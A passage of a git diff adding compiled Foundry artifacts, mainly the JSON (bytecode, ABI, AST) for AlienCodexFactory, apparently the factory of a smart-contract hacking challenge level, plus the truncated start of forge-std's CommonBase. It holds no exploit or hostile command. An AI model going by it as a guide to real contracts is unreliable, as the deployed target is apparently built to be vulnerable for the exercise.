73ffffffffffffffffffffffffffffffffffffffff19169055565b6000546001600160a01b03165b90565b6000546001600160a01b0316331490565b6001818154811061033257fe5b600091825260209091200154905081565b600054600160a01b900460ff1661035657fe5b6001805480820182556000919091527fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf60155565b610392610314565b6103e3576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b610251816001600160a01b03811661042c5760405162461bcd60e51b81526004018080602001828103825260268152602001806104dc6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b8154818355818111156104b8576000838152602090206104b89181019083016104bd565b505050565b61031191905b808211156104d757600081556001016104c3565b509056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a265627a7a72315820dc9a42e48ee61fe9aac9a8df7665b5cd40124f6fa04b2d6f84c67ca9103742a764736f6c634300051100324f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a265627a7a72315820a4789ece807ddd237cb421bd9a6cb876704f7b59b900af0a6760553e247a2a0b64736f6c63430005110032","sourceMap":"116:406:3:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1544:137:1;;8:9:-1;5:2;;;30:1;27;20:12;5:2;1544:137:1;;;:::i;:::-;;158:140:3;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;158:140:3;-1:-1:-1;;;;;158:140:3;;:::i;:::-;;;;-1:-1:-1;;;;;158:140:3;;;;;;;;;;;;;;759:77:1;;8:9:-1;5:2;;;30:1;27;20:12;5:2;759:77:1;;;:::i;1110:90::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;1110:90:1;;;:::i;:::-;;;;;;;;;;;;;;;;;;304:216:3;;8:9:-1;5:2;;;30:1;27;20:12;5:2;304:216:3;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;304:216:3;;;;;;;;;;:::i;1830:107:1:-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;1830:107:1;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;1830:107:1;-1:-1:-1;;;;;1830:107:1;;:::i;1544:137::-;963:9;:7;:9::i;:::-;955:54;;;;;-1:-1:-1;;;955:54:1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1642:1;1626:6;;1605:40;;-1:-1:-1;;;;;1626:6:1;;;;1605:40;;1642:1;;1605:40;1672:1;1655:19;;-1:-1:-1;;1655:19:1;;;1544:137::o;158:140:3:-;223:7;274:16;;;;;:::i;:::-;;;;;;;;;;;8:9:-1;5:2;;;45:16;42:1;39;24:38;77:16;74:1;67:27;5:2;-1:-1;259:32:3;158:140;-1:-1:-1;;158:140:3:o;759:77:1:-;797:7;823:6;-1:-1:-1;;;;;823:6:1;759:77;:::o;1110:90::-;1150:4;1187:6;-1:-1:-1;;;;;1187:6:1;1173:10;:20;;1110:90::o;304:216:3:-;390:4;426:19;459:9;426:43;;506:7;-1:-1:-1;;;;;486:27:3;:8;-1:-1:-1;;;;;486:14:3;;:16;;;;;;;;;;;;;;;;;;;;;;8:9:-1;5:2;;;30:1;27;20:12;5:2;486:16:3;;;;8:9:-1;5:2;;;45:16;42:1;39;24:38;77:16;74:1;67:27;5:2;486:16:3;;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;486:16:3;-1:-1:-1;;;;;486:27:3;;;304:216;-1:-1:-1;;;;304:216:3:o;1830:107:1:-;963:9;:7;:9::i;:::-;955:54;;;;;-1:-1:-1;;;955:54:1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1902:28;1921:8;1902:18;:28::i;:::-;1830:107;:::o;2038:225::-;-1:-1:-1;;;;;2111:22:1;;2103:73;;;;-1:-1:-1;;;2103:73:1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2212:6;;;2191:38;;-1:-1:-1;;;;;2191:38:1;;;;2212:6;;;2191:38;;;2239:6;:17;;-1:-1:-1;;2239:17:1;-1:-1:-1;;;;;2239:17:1;;;;;;;;;;2038:225::o;116:406:3:-;;;;;;;;:::o","linkReferences":{}},"methodIdentifiers":{"createInstance(address)":"7726f776","isOwner()":"8f32d59b","owner()":"8da5cb5b","renounceOwnership()":"715018a6","transferOwnership(address)":"f2fde38b","validateInstance(address,address)":"d38def5b"},"rawMetadata":"{\"compiler\":{\"version\":\"0.5.17+commit.d19bba13\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"previousOwner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"OwnershipTransferred\",\"type\":\"event\"},{\"constant\":false,\"inputs\":[{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"createInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"payable\":true,\"stateMutability\":\"payable\",\"type\":\"function\"},{\"constant\":true,\"inputs\":[],\"name\":\"isOwner\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"payable\":false,\"stateMutability\":\"view\",\"type\":\"function\"},{\"constant\":true,\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"payable\":false,\"stateMutability\":\"view\",\"type\":\"function\"},{\"constant\":false,\"inputs\":[],\"name\":\"renounceOwnership\",\"outputs\":[],\"payable\":false,\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"constant\":false,\"inputs\":[{\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"transferOwnership\",\"outputs\":[],\"payable\":false,\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"constant\":false,\"inputs\":[{\"internalType\":\"address payable\",\"name\":\"_instance\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"validateInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"payable\":false,\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"methods\":{\"isOwner()\":{\"details\":\"Returns true if the caller is the current owner.\"},\"owner()\":{\"details\":\"Returns the address of the current owner.\"},\"renounceOwnership()\":{\"details\":\"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. * > Note: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner.\"},\"transferOwnership(address)\":{\"details\":\"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner.\"}}},\"userdoc\":{\"methods\":{}}},\"settings\":{\"compilationTarget\":{\"src/levels/AlienCodexFactory.sol\":\"AlienCodexFactory\"},\"evmVersion\":\"istanbul\",\"libraries\":{},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"src/helpers/Ownable-05.sol\":{\"keccak256\":\"0x70a86a5745daee7aee825ad9ee00b36c8dd437226fbd2f76540ef611976d54f0\",\"urls\":[\"bzz-raw://90abb912644e375f627ab63ae9ec91ab1779b0b5f87ac17f308da44da99a5249\",\"dweb:/ipfs/QmURy3o3pbax3uiJiLA4mcxYwH2mYSWH23hHCThbnAV3Ci\"]},\"src/levels/AlienCodex.sol\":{\"keccak256\":\"0x21dd51ce51844b08feca460c8bc89837b80219b15fa2b2b7adff15d195d8cb8f\",\"urls\":[\"bzz-raw://95f71208d2b509445c297f128ea489e1e726a7b33c782d52d03602a652810409\",\"dweb:/ipfs/QmXDCiMWoZxdiCN9qRkos1WmyhQ6cWpWrfSpRtPpZDWhC8\"]},\"src/levels/AlienCodexFactory.sol\":{\"keccak256\":\"0x937260e96e1db0000d2ba340806ad2dca294964cd57cf94d8556c636951e2149\",\"urls\":[\"bzz-raw://11d91615b6df3b9539c9583c8ab4ecc59e0438a70bf84fd0ff6fdaf7e473b28e\",\"dweb:/ipfs/QmWYQbpMq5JG8tvRNtkCUux18DzbkCtz4qKU8QfY9n2pH9\"]},\"src/levels/base/Level-05.sol\":{\"keccak256\":\"0x509caafeba6fc39eb2d415eff577d94418970bd802210f46563ea51e223747fd\",\"urls\":[\"bzz-raw://10e49a55a09ff7dc72e3c201c6d4c769ebbc4a2b4656b59a8e881255e28e6e6d\",\"dweb:/ipfs/QmT7wFXTT9Zfubw2h11BfmkcaXcyiRvJzVQBboYb8y1EeM\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.5.17+commit.d19bba13"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"previousOwner","type":"address","indexed":true},{"internalType":"address","name":"newOwner","type":"address","indexed":true}],"type":"event","name":"OwnershipTransferred","anonymous":false},{"inputs":[{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"payable","type":"function","name":"createInstance","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"renounceOwnership"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"transferOwnership"},{"inputs":[{"internalType":"address payable","name":"_instance","type":"address"},{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"validateInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]}],"devdoc":{"methods":{"isOwner()":{"details":"Returns true if the caller is the current owner."},"owner()":{"details":"Returns the address of the current owner."},"renounceOwnership()":{"details":"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. * > Note: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner."},"transferOwnership(address)":{"details":"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner."}}},"userdoc":{"methods":{}}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"compilationTarget":{"src/levels/AlienCodexFactory.sol":"AlienCodexFactory"},"evmVersion":"istanbul","libraries":{}},"sources":{"src/helpers/Ownable-05.sol":{"keccak256":"0x70a86a5745daee7aee825ad9ee00b36c8dd437226fbd2f76540ef611976d54f0","urls":["bzz-raw://90abb912644e375f627ab63ae9ec91ab1779b0b5f87ac17f308da44da99a5249","dweb:/ipfs/QmURy3o3pbax3uiJiLA4mcxYwH2mYSWH23hHCThbnAV3Ci"],"license":null},"src/levels/AlienCodex.sol":{"keccak256":"0x21dd51ce51844b08feca460c8bc89837b80219b15fa2b2b7adff15d195d8cb8f","urls":["bzz-raw://95f71208d2b509445c297f128ea489e1e726a7b33c782d52d03602a652810409","dweb:/ipfs/QmXDCiMWoZxdiCN9qRkos1WmyhQ6cWpWrfSpRtPpZDWhC8"],"license":null},"src/levels/AlienCodexFactory.sol":{"keccak256":"0x937260e96e1db0000d2ba340806ad2dca294964cd57cf94d8556c636951e2149","urls":["bzz-raw://11d91615b6df3b9539c9583c8ab4ecc59e0438a70bf84fd0ff6fdaf7e473b28e","dweb:/ipfs/QmWYQbpMq5JG8tvRNtkCUux18DzbkCtz4qKU8QfY9n2pH9"],"license":null},"src/levels/base/Level-05.sol":{"keccak256":"0x509caafeba6fc39eb2d415eff577d94418970bd802210f46563ea51e223747fd","urls":["bzz-raw://10e49a55a09ff7dc72e3c201c6d4c769ebbc4a2b4656b59a8e881255e28e6e6d","dweb:/ipfs/QmT7wFXTT9Zfubw2h11BfmkcaXcyiRvJzVQBboYb8y1EeM"],"license":null}},"version":1},"ast":{"absolutePath":"src/levels/AlienCodexFactory.sol","id":285,"exportedSymbols":{"AlienCodexFactory":[284]},"nodeType":"SourceUnit","src":"33:490:3","nodes":[{"id":241,"nodeType":"PragmaDirective","src":"33:23:3","nodes":[],"literals":["solidity","^","0.5",".0"]},{"id":242,"nodeType":"ImportDirective","src":"58:29:3","nodes":[],"absolutePath":"src/levels/base/Level-05.sol","file":"./base/Level-05.sol","scope":285,"sourceUnit":307,"symbolAliases":[],"unitAlias":""},{"id":243,"nodeType":"ImportDirective","src":"88:26:3","nodes":[],"absolutePath":"src/levels/AlienCodex.sol","file":"./AlienCodex.sol","scope":285,"sourceUnit":240,"symbolAliases":[],"unitAlias":""},{"id":284,"nodeType":"ContractDefinition","src":"116:406:3","nodes":[{"id":261,"nodeType":"FunctionDefinition","src":"158:140:3","nodes":[],"body":{"id":260,"nodeType":"Block","src":"232:66:3","nodes":[],"statements":[{"expression":{"argumentTypes":null,"id":252,"name":"_player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":247,"src":"242:7:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":253,"nodeType":"ExpressionStatement","src":"242:7:3"},{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"arguments":[],"expression":{"argumentTypes":[],"id":256,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"274:14:3","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_AlienCodex_$239_$","typeString":"function () returns (contract AlienCodex)"},"typeName":{"contractScope":null,"id":255,"name":"AlienCodex","nodeType":"UserDefinedTypeName","referencedDeclaration":239,"src":"278:10:3","typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodex_$239","typeString":"contract AlienCodex"}}},"id":257,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"274:16:3","typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodex_$239","typeString":"contract AlienCodex"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_AlienCodex_$239","typeString":"contract AlienCodex"}],"id":254,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"266:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":"address"},"id":258,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"266:25:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"functionReturnParameters":251,"id":259,"nodeType":"Return","src":"259:32:3"}]},"documentation":null,"implemented":true,"kind":"function","modifiers":[],"name":"createInstance","parameters":{"id":248,"nodeType":"ParameterList","parameters":[{"constant":false,"id":247,"name":"_player","nodeType":"VariableDeclaration","scope":261,"src":"182:15:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":246,"name":"address","nodeType":"ElementaryTypeName","src":"182:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"}],"src":"181:17:3"},"returnParameters":{"id":251,"nodeType":"ParameterList","parameters":[{"constant":false,"id":250,"name":"","nodeType":"VariableDeclaration","scope":261,"src":"223:7:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":249,"name":"address","nodeType":"ElementaryTypeName","src":"223:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"}],"src":"222:9:3"},"scope":284,"stateMutability":"payable","superFunction":296,"visibility":"public"},{"id":283,"nodeType":"FunctionDefinition","src":"304:216:3","nodes":[],"body":{"id":282,"nodeType":"Block","src":"396:124:3","nodes":[],"statements":[{"assignments":[271],"declarations":[{"constant":false,"id":271,"name":"instance","nodeType":"VariableDeclaration","scope":282,"src":"426:19:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodex_$239","typeString":"contract AlienCodex"},"typeName":{"contractScope":null,"id":270,"name":"AlienCodex","nodeType":"UserDefinedTypeName","referencedDeclaration":239,"src":"426:10:3","typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodex_$239","typeString":"contract AlienCodex"}},"value":null,"visibility":"internal"}],"id":275,"initialValue":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":273,"name":"_instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":263,"src":"459:9:3","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":272,"name":"AlienCodex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":239,"src":"448:10:3","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_AlienCodex_$239_$","typeString":"type(contract AlienCodex)"}},"id":274,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"448:21:3","typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodex_$239","typeString":"contract AlienCodex"}},"nodeType":"VariableDeclarationStatement","src":"426:43:3"},{"expression":{"argumentTypes":null,"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":280,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"arguments":[],"expression":{"argumentTypes":[],"expression":{"argumentTypes":null,"id":276,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":271,"src":"486:8:3","typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodex_$239","typeString":"contract AlienCodex"}},"id":277,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"owner","nodeType":"MemberAccess","referencedDeclaration":94,"src":"486:14:3","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_address_$","typeString":"function () view external returns (address)"}},"id":278,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"486:16:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"argumentTypes":null,"id":279,"name":"_player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":265,"src":"506:7:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"486:27:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":269,"id":281,"nodeType":"Return","src":"479:34:3"}]},"documentation":null,"implemented":true,"kind":"function","modifiers":[],"name":"validateInstance","parameters":{"id":266,"nodeType":"ParameterList","parameters":[{"constant":false,"id":263,"name":"_instance","nodeType":"VariableDeclaration","scope":283,"src":"330:25:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":262,"name":"address","nodeType":"ElementaryTypeName","src":"330:15:3","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"value":null,"visibility":"internal"},{"constant":false,"id":265,"name":"_player","nodeType":"VariableDeclaration","scope":283,"src":"357:15:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":264,"name":"address","nodeType":"ElementaryTypeName","src":"357:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"}],"src":"329:44:3"},"returnParameters":{"id":269,"nodeType":"ParameterList","parameters":[{"constant":false,"id":268,"name":"","nodeType":"VariableDeclaration","scope":283,"src":"390:4:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":267,"name":"bool","nodeType":"ElementaryTypeName","src":"390:4:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"value":null,"visibility":"internal"}],"src":"389:6:3"},"scope":284,"stateMutability":"nonpayable","superFunction":305,"visibility":"public"}],"baseContracts":[{"arguments":null,"baseName":{"contractScope":null,"id":244,"name":"Level","nodeType":"UserDefinedTypeName","referencedDeclaration":306,"src":"146:5:3","typeDescriptions":{"typeIdentifier":"t_contract$_Level_$306","typeString":"contract Level"}},"id":245,"nodeType":"InheritanceSpecifier","src":"146:5:3"}],"contractDependencies":[171,239,306],"contractKind":"contract","documentation":null,"fullyImplemented":true,"linearizedBaseContracts":[284,306,171],"name":"AlienCodexFactory","scope":285}]},"id":3} \ No newline at end of file diff --git a/contracts/out/Base.sol/CommonBase.json b/contracts/out/Base.sol/CommonBase.json new file mode 100644 index 000000000..23d7f94fd --- /dev/null +++ b/contracts/out/Base.sol/CommonBase.json @@ -0,0 +1 @@ +{"abi":[],"bytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"deployedBytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"methodIdentifiers":{},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"lib/forge-std/src/Base.sol\":\"CommonBase\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/Base.sol\":{\"keccak256\":\"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224\",\"dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK\"]},\"lib/forge-std/src/StdStorage.sol\":{\"keccak256\":\"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678\",\"dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft\"]},\"lib/forge-std/src/Vm.sol\":{\"keccak256\":\"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f\",\"license\":\"MIT OR Apache-2.0\",\"urls\":[\"bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59\",\"dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"lib/forge-std/src/Base.sol":"CommonBase"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/Base.sol":{"keccak256":"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c","urls":["bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224","dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK"],"license":"MIT"},"lib/forge-std/src/StdStorage.sol":{"keccak256":"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3","urls":["bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678","dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft"],"license":"MIT"},"lib/forge-std/src/Vm.sol":{"keccak256":"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f","urls":["bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59","dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT"],"license":"MIT OR Apache-2.0"}},"version":1},"ast":{"absolutePath":"lib/forge-std/src/Base.sol","id":75,"exportedSymbols":{"CommonBase":[62],"ScriptBase":[74],"StdStorage":[7427],"TestBase":[65],"Vm":[15673],"VmSafe":[15098]},"nodeType":"SourceUnit","src":"32:1761:0","nodes":[{"id":1,"nodeType":"PragmaDirective","src":"32:31:0","nodes":[],"literals":["solidity",">=","0.6",".2","<","0.9",".0"]},{"id":3,"nodeType":"ImportDirective","src":"65:44:0","nodes":[],"absolutePath":"lib/forge-std/src/StdStorage.sol","file":"./StdStorage.sol","nameLocation":"-1:-1:-1","scope":75,"sourceUnit":9387,"symbolAliases":[{"foreign":{"id":2,"name":"StdStorage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7427,"src":"73:10:0","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":6,"nodeType":"ImportDirective","src":"110:36:0","nodes":[],"absolutePath":"lib/forge-std/src/Vm.sol","file":"./Vm.sol","nameLocation":"-1:-1:-1","scope":75,"sourceUnit":15674,"symbolAliases":[{"foreign":{"id":4,"name":"Vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15673,"src":"118:2:0","typeDescriptions":{}},"nameLocation":"-1:-1:-1"},{"foreign":{"id":5,"name":"VmSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15098,"src":"122:6:0","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":62,"nodeType":"ContractDefinition","src":"148:1493:0","nodes":[{"id":20,"nodeType":"VariableDeclaration","src":"254:94:0","nodes":[],"constant":true,"mutability":"constant","name":"VM_ADDRESS","nameLocation":"280:10:0","scope":62,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":7,"name":"address","nodeType":"ElementaryTypeName","src":"254:7:0","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":{"arguments":[{"arguments":[{"arguments":[{"arguments":[{"hexValue":"6865766d20636865617420636f6465","id":15,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"327:17:0","typeDescriptions":{"typeIdentifier":"t_stringliteral_885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d","typeString":"literal_string \"hevm cheat code\""},"value":"hevm cheat code"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d","typeString":"literal_string \"hevm cheat 